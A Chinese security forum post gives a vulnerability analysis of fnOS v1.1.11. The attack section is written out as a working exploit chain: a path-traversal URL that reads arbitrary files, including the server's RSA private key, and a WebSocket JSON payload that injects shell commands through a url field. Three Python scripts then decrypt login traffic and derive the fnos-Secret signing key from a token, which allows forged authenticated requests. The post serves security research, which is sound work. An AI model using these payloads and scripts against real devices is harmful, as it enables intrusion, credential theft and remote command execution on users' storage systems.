找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1092

积分

0

好友

135

主题
发表于 11 小时前 | 查看: 0| 回复: 0

安装环境

下载历史版本镜像,以1.1.11为例,向 https://fnnas.com/api/download-sign post 如下请求获得下载地址。

网络调试工具界面截图,显示获取下载签名的HTTP请求与响应

安装完成之后即可访问web页面。

fnOS系统终端启动界面,显示IP地址与Web UI访问链接

初始化之后成功进入桌面。

fnOS Web桌面截图,显示应用图标与系统状态

测试POC

在链接后加入 /app-center-static/serviceicon/myapp/%7B0%7D?size=../../../../ 可以直接遍历文件系统目录。

浏览器地址栏显示路径穿越导致的根目录文件列表

通过抓包验证一下WebSocket开头的校验信息计算方式,下图是一个正常的WebSocket请求记录:

网络抓包工具显示WebSocket通信记录与消息内容

浏览器LocalStorage中存储的 fnos-Secret 可以在开发者工具中查看到:

系统配置界面显示LocalStorage中的键值对,包含fnos-Secret

尝试按照其规则构造校验信息,成功生成与抓包一致的签名。

加密工具界面显示HMAC-SHA256与Base64编码过程

构造命令执行的payload如下,其中 url 参数被注入了系统命令:

{"reqid":"697da669697da3bc000000090f31","req":"appcgi.dockermgr.systemMirrorAdd","url":"https://test.example.com ; /usr/bin/touch /tmp/hacked20260131 ; /usr/bin/echo ","name":"2"}

使用前面构造的校验信息,通过WebSocket发送上述payload尝试命令执行。

WebSocket消息发送界面,显示包含命令注入的JSON payload

执行成功,在系统的 /tmp 目录下创建了指定的文件。

终端显示/tmp目录列表,其中包含成功创建的hacked20260131文件

获得fnos-Secret

/var/log/accountsrv/info.log 中有账号登录相关的日志,其中存储了 fnos-token

终端日志界面显示账户检查与登录相关的日志信息

查看登录过程中的WebSocket请求,客户端发送的加密数据包如下:

代码片段显示登录请求中的加密字符串

服务端成功登录后返回的响应,其中包含 tokensecret 等关键信息。

JSON格式的登录响应数据,显示用户ID、令牌和密钥等信息

结合前端JavaScript代码分析可知,其流程为:客户端生成随机的AES Key和IV,使用服务端的RSA公钥加密Key,再用该Key和IV加密登录信息,将加密后的Key(RSA)、IV和登录数据(AES)一并发送。服务端验证成功后返回token和加密的secret。

因此,如果能拿到服务器的RSA私钥,就可以解密整个流程。利用前面发现的路径穿越漏洞,可以下载私钥文件:/usr/trim/etc/rsa_private_key.pem。随后编写一个Python解密脚本来验证逻辑:

import base64
import json
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Random import get_random_bytes

# ================= 配置区域 =================

# 1. 抓包获取的数据
payload = {
    "iv": "UaNep6YYc/lwPBAZb1yhJw==",
    "rsa": "xxx",
    "aes": "xxx"
}

# 2. 私钥路径
PRIVATE_KEY_FILE = "private.pem"

# ================= 逻辑区域 =================

def decrypt_flow():
    try:
        # --- 步骤 1: RSA 解密获取 AES Session Key ---
        print("
  • 正在读取私钥...")         with open(PRIVATE_KEY_FILE, "rb") as f:             private_key = RSA.import_key(f.read())         # Base64 解码 RSA 密文         encrypted_session_key = base64.b64decode(payload["rsa"])         # 使用 PKCS1_v1_5 解密         cipher_rsa = PKCS1_v1_5.new(private_key)         sentinel = get_random_bytes(16) # 解密失败时的随机值         # 获取 AES Key         session_key = cipher_rsa.decrypt(encrypted_session_key, sentinel)         if session_key == sentinel:             print("[-] RSA 解密失败,私钥可能不匹配或填充模式错误。")             return         print(f"[+] RSA 解密成功! 获得 AES Session Key (Hex): {session_key.hex()}")         print(f"    Key 长度: {len(session_key) * 8} 位")         # --- 步骤 2: AES 解密获取明文数据 ---         print("\n
  • 开始解密 AES 数据...")         # Base64 解码 IV 和 AES 密文         iv = base64.b64decode(payload["iv"])         encrypted_data = base64.b64decode(payload["aes"])         # 创建 AES Cipher (通常是 CBC 模式)         cipher_aes = AES.new(session_key, AES.MODE_CBC, iv)         # 解密并移除填充 (PKCS7)         try:             decrypted_padded = cipher_aes.decrypt(encrypted_data)             plaintext_bytes = unpad(decrypted_padded, AES.block_size)             plaintext_str = plaintext_bytes.decode('utf-8')             print("[+] AES 解密成功!")             print("-" * 30)             # 尝试解析为 JSON 并漂亮打印             try:                 json_obj = json.loads(plaintext_str)                 print(json.dumps(json_obj, indent=4, ensure_ascii=False))             except:                 print(plaintext_str)             print("-" * 30)         except ValueError as e:             print(f"[-] AES 解密或去填充失败: {e}")             print("    可能原因: Key 错误 (RSA解密错) 或 模式不是 CBC")     except FileNotFoundError:         print(f"[!] 找不到私钥文件: {PRIVATE_KEY_FILE}")     except Exception as e:         print(f"[!] 发生未预期的错误: {e}") if __name__ == "__main__":     decrypt_flow()
  • 使用真实的抓包数据运行脚本,成功解密出登录明文信息。

    终端显示AES与RSA解密成功,并输出解密后的JSON登录数据

    通过分析前端JS代码还可知,服务器返回的 secret 字段实际上是使用相同Session Key加密后的 fnos-Secret。再写一个脚本专门计算该值:

    import base64
    import json
    from Crypto.PublicKey import RSA
    from Crypto.Cipher import PKCS1_v1_5
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import unpad, pad
    from Crypto.Random import get_random_bytes
    
    # ================= 填入你的抓包数据 =================
    
    # 1. 登录请求包 (Request)
    request_payload = {
        "iv": "UaNep6YYc/lwPBAZb1yhJw==", # 对应代码中的 CT (Base64)
        "rsa": "LAThXfsHgrZWegUJ4eG4qmdz+yucF31JuAt4MqJL9DzHLrO2KvS9FqnPbw5BUwohwfvwqeLEzIYeFmgE/uAei2Cv8X5cL+Uzb+ctHJgVVfikLaTFP1+Du3w4ohQedXRinUjolHuZvX4dIY9Nb4PW1NxHdYv3MulO8JswbQtZlHMGFfLy+7MofWfY0XZhKolSvcwQ2r+wwJnZqMVIdA2EIRrY/oTcnPLysgjJnRPNY1zu2Vd31tmCvvPNjAERB33hI+Q4p8Ro/PMs0xYCjDQGsxLIlKKJr731n4+jetd56UvQLmigs4WnHjMAhYddaT8vll1j1a9ITSAd5Air4Pfwaw==",
    }
    
    # 2. 登录响应包 (Response)
    server_response = {
        "secret": "CkcJHbGW4jRaBo14reTZdN24CTDn2VuKIcwjFaCmMeM=" # 服务器返回的加密 Secret
    }
    
    # 3. 私钥路径
    PRIVATE_KEY_FILE = "private.pem"
    
    # =================================================
    
    def calculate_fnos_secret():
        try:
            # --- 步骤 1: 用私钥解密 RSA,拿到 AES Session Key ---
            print("
  • 正在读取私钥...")         with open(PRIVATE_KEY_FILE, "rb") as f:             private_key = RSA.import_key(f.read())         rsa_ct = base64.b64decode(request_payload["rsa"])         cipher_rsa = PKCS1_v1_5.new(private_key)         sentinel = get_random_bytes(16)         # 这就是代码里的 'Yz' (的二进制形式)         session_key_bytes = cipher_rsa.decrypt(rsa_ct, sentinel)         # 前端代码 Yz = iWe(32) 生成的是32字节字符串,但CryptoJS处理时会作为WordArray         # 这里的解密结果应该是原始的字节流         print(f"[+] 拿到 Session Key (Hex): {session_key_bytes.hex()}")         # --- 步骤 2: 准备解密参数 ---         iv_bytes = base64.b64decode(request_payload["iv"])         encrypted_secret_bytes = base64.b64decode(server_response["secret"])         print(f"
  • IV (Hex): {iv_bytes.hex()}")         print(f"
  • Server Secret (Hex): {encrypted_secret_bytes.hex()}")         # --- 步骤 3: 模拟 fWe 函数进行解密 ---         # fWe = t => Ti.AES.decrypt(t, qz, { iv: CT }).toString(Ti.enc.Base64);         cipher_aes = AES.new(session_key_bytes, AES.MODE_CBC, iv_bytes)         # AES 解密         decrypted_bytes = cipher_aes.decrypt(encrypted_secret_bytes)         # 移除 Padding (PKCS7) - 虽然CryptoJS的toString(Base64)会自动处理,但Python需要手动         # 注意:有时候CryptoJS处理字符串填充比较宽容,如果报错,尝试不去掉unpad直接看         try:             final_secret_bytes = unpad(decrypted_bytes, AES.block_size)         except ValueError:             # 如果解密出来刚好是整块,或者格式特殊,直接用原始的             final_secret_bytes = decrypted_bytes         # 转为 Base64 (对应 toString(Ti.enc.Base64))         fnos_secret = base64.b64encode(final_secret_bytes).decode('utf-8')         print("\n" + "="*40)         print(f"SUCCESS! 计算出的 fnos-Secret: {fnos_secret}")         print("请检查这个值是否与你浏览器 LocalStorage 中的值一致。")         print("="*40)     except Exception as e:         print(f"[-] 发生错误: {e}") if __name__ == "__main__":     calculate_fnos_secret()
  • 运行脚本,成功计算出与浏览器LocalStorage中一致的 fnos-Secret

    终端显示Python脚本执行成功,计算出fnos-Secret值

    深入服务端逻辑

    为了更深入理解其机制,我们寻找服务端的处理逻辑。通过WebSocket返回的字段定位到相关的二进制文件 /usr/trim/bin/handlers/user.hdl

    终端中使用grep命令在二进制文件中搜索backId字段

    通过对该二进制文件进行逆向工程,找到了关键的secret生成逻辑,它是由随机数生成的。

    C语言代码片段显示secret数组的随机数生成逻辑

    随后,服务端使用生成的token的前16字节作为IV,用一个固定的Key(从私钥文件中特定位置读取)对这个secret进行AES加密,加密结果存入token的后16字节中。

    C语言代码片段显示AES加密函数调用与错误处理

    C语言代码片段显示从RSA私钥文件读取固定位置数据作为AES Key的逻辑

    因此,如果我们拥有服务器的RSA私钥文件,就可以利用token直接还原出secret,而无需截获登录流量。其原理是:将token的前16字节作为IV,后16字节作为密文,从私钥文件特定偏移(100字节后)读取的32字节作为AES Key,进行AES-256-CBC解密即可得到原始的secret。编写以下脚本实现该功能:

    import base64
    from Crypto.Cipher import AES
    
    TARGET_TOKEN_B64 = "19FkFWR+gGmeVTtvK0dcHtiiHQ8qz8WW21vEHjtfhJI="
    
    PEM_FILE_PATH = "private.pem"
    
    def get_master_key_from_file(filepath):
        """
        模拟 C++ 代码逻辑:
        lseek(fd, 100, 0);
        read(fd, buf, 32);
        """
        try:
            with open(filepath, "rb") as f:
                # 1. 跳过前 100 字节
                f.seek(100)
                # 2. 读取接下来的 32 字节作为 AES Key
                master_key = f.read(32)
                if len(master_key) != 32:
                    print(f"[!] 警告: 读取到的 Key 长度不足 32 字节 (实际: {len(master_key)})")
                    return None
                print(f"
  • 成功提取 Master Key (Hex): {master_key.hex()}")             print(f"    (原始字节): {master_key}")             return master_key     except FileNotFoundError:         print(f"[!] 错误: 找不到文件 {filepath}")         return None def decrypt_secret(token_b64, master_key):     try:         # 1. Base64 解码 Token         token_bytes = base64.b64decode(token_b64)         if len(token_bytes) != 32:             print(f"[!] Token 长度错误: 解码后应为 32 字节,当前为 {len(token_bytes)}")             return         # 2. 切分 Token         # 前 16 字节 = IV (也是随机数部分)         # 后 16 字节 = 加密后的 Secret         iv = token_bytes[0:16]         encrypted_secret = token_bytes[16:32]         print(f"
  • 解析 Token:")         print(f"    IV (Hex)        : {iv.hex()}")         print(f"    Ciphertext (Hex): {encrypted_secret.hex()}")         # 3. AES 解密         # 模式: CBC (根据 iv 传递判断)         # Key: 32字节 (AES-256)         cipher = AES.new(master_key, AES.MODE_CBC, iv)         # 因为数据刚好是 16 字节,且 C++ 那边是定长加密,所以这里解密后不需要去填充(Unpad)         # 或者说它本身就是满块         decrypted_bytes = cipher.decrypt(encrypted_secret)         # 4. 验证特征         # C++ 代码中有一行: secret[15] = 111 (即 0x6F, 字符 'o')         last_byte = decrypted_bytes[-1]         is_valid = (last_byte == 111)         print("-" * 40)         if is_valid:             pass         else:             tmplist = list(decrypted_bytes[:-1])             tmplist.append(0x6f)             decrypted_bytes = bytes(tmplist)         # 5. 生成最终的 fnos-Secret (Base64格式)         final_secret = base64.b64encode(decrypted_bytes).decode('utf-8')         print(f"\n[SUCCESS] 还原出的 fnos-Secret:\n")         print(f"{final_secret}")         print(f"\n你可以用这个 Secret 去签名 WebSocket 消息了。")         print("-" * 40)     except Exception as e:         print(f"[!] 解密过程发生错误: {e}") if __name__ == "__main__":     print("=== fnOS Token 还原 Secret 工具 ===\n")     # 步骤 1: 提取 Key     key = get_master_key_from_file(PEM_FILE_PATH)     # 步骤 2: 解密     if key:         decrypt_secret(TARGET_TOKEN_B64, key)
  • 总结与思考

    本文详细分析了fnOS v1.1.11版本中存在的路径穿越漏洞与WebSocket接口命令执行漏洞的利用链。整个过程从简单的目录遍历开始,逐步深入到WebSocket通信的认证机制绕过,并最终通过逆向工程揭示了其认证密钥fnos-Secret的生成与推导过程。这再次提醒我们,即使有加密和签名校验,如果密钥管理不当(如私钥文件可被读取)或密码学实现存在缺陷,整个安全防线依然可能崩塌。对于安全研究和渗透测试来说,理解系统深层的加密与认证逻辑至关重要。

    如果你对这类漏洞的挖掘与分析过程感兴趣,欢迎在云栈社区参与更多关于网络安全与系统安全的讨论。




    上一篇:MCP vs Skill:深入解析Token成本,AI Agent工具协议的效率之争
    下一篇:CVE-2026-21509高危漏洞分析:微软Office遭定向攻击,政府机构成目标
    您需要登录后才可以回帖 登录 | 立即注册

    手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

    GMT+8, 2026-2-4 20:10 , Processed in 0.294056 second(s), 42 queries , Gzip On.

    Powered by Discuz! X3.5

    © 2025-2026 云栈社区.

    快速回复 返回顶部 返回列表